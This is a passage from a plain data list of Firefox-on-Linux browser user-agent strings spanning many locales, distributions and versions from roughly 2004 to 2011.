rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.7) Gecko/2009031218 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.04 (hardy) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.0.9) Gecko/2009042113 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 -Mozilla/5.0 (X11; U; Linux i686 Gentoo; en-US; rv:1.8.1.13) Gecko/20080413 Firefox/2.0.0.13 (Gentoo Linux) -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.10) Gecko/2009042718 CentOS/3.0.10-1.el5.centos Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.10 (intrepid) Firefox/3.0.7 FirePHP/0.2.4 -Mozilla/5.0 (X11; U; Linux i686; hu-HU; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.0.7) Gecko/20060911 SUSE/1.5.0.7-0.1 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; hu; rv:1.8b4) Gecko/20050827 Firefox/1.0+ -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.11) Gecko/2009060308 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.04 (jaunty) Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686; it-IT; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.14) Gecko/20080420 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070406 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.3) Gecko/20070410 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20060601 Firefox/2.0.0.4 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8.1.4) Gecko/20070621 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.8) Gecko/20060113 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc10 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.4) Gecko/2008111217 Red Hat Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ja-JP; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.0.10) Gecko/20070510 Fedora/1.5.0.10-6.fc6 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.11) Gecko/20071128 Firefox/2.0.0.11 (Debian-2.0.0.11-1) -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ja; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.8.0.7) Gecko/20060913 Fedora/1.5.0.7-1.fc5 Firefox/1.5.0.7 pango-text -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux i686; lt-LT; rv:1.6) Gecko/20051114 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; lt; rv:1.6) Gecko/20051114 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; nb-NO; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.8.1.9) Gecko/20071105 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.0.19) Gecko/20090720 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl-NL; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.12) Gecko/20070601 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.1) Gecko/20070311 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.8.1.3) Gecko/20060601 Firefox/2.0.0.3 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.11) Gecko/2009060309 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.1.9) Gecko/20100401 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9.2.15) Gecko/20110303 Ubuntu/8.04 (hardy) Firefox/3.6.15 -Mozilla/5.0 (X11; U; Linux i686; nl; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.10) Gecko/20050730 Firefox/1.0.6 (Debian package 1.0.6-2) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mnenhy/0.7.4.666 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mnenhy/0.7.4.666 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071126 Ubuntu/7.10 (gutsy) Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071128 Fedora/2.0.0.10-2.fc7 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.10) Gecko/20071213 Fedora/2.0.0.10-3.fc8 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.10) Gecko/2009042513 Ubuntu/8.04 (hardy) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/2008092313 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.3) Gecko/2008092700 SUSE/3.0.3-2.2 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux) -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 (.NET CLR 3.5.30729; .NET4.0E) -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux i686; Ubuntu 7.04; de-CH; rv:1.8.1.5) Gecko/20070309 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.3 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); de; rv:1.9.1) Gecko/20090624 Firefox/3.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-GB; rv:1.9.2.17) Gecko/20110420 Firefox/3.6.17 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.10) Gecko/20060911 SUSE/1.5.0.10-0.2 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20070731 Ubuntu/dapper-security Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.12) Gecko/20080326 CentOS/1.5.0.12-14.el5.centos Firefox/1.5.0.12 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.5) Gecko/20060726 Red Hat/1.5.0.5-0.el4.1 Firefox/1.5.0.5 pango-text -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.8) Gecko/20061025 Firefox/1.5.0.8 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.0.9) Gecko/20061219 Fedora/1.5.0.9-1.fc6 Firefox/1.5.0.9 pango-text -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.1 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071015 SUSE/2.0.0.10-0.2 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.10) Gecko/20071115 Firefox/2.0.0.10 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.14) Gecko/20080417 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.16) Gecko/20080716 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.20) Gecko/20090206 Firefox/2.0.0.20 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.5) Gecko/20070718 Fedora/2.0.0.5-1.fc7 Firefox/2.0.0.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9a1) Gecko/20060127 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9b2) Gecko/2007121016 Firefox/3.0b2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); fr; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); nl; rv:1.8.0.6) Gecko/20060728 SUSE/1.5.0.6-1.2 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); ru; rv:1.8.0.3) Gecko/20060425 SUSE/1.5.0.3-7 Firefox/1.5.0.3 -Mozilla/5.0 (X11; U; Linux i686 (x86_64); zh-TW; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 -Mozilla/5.0 (X11; U; Linux 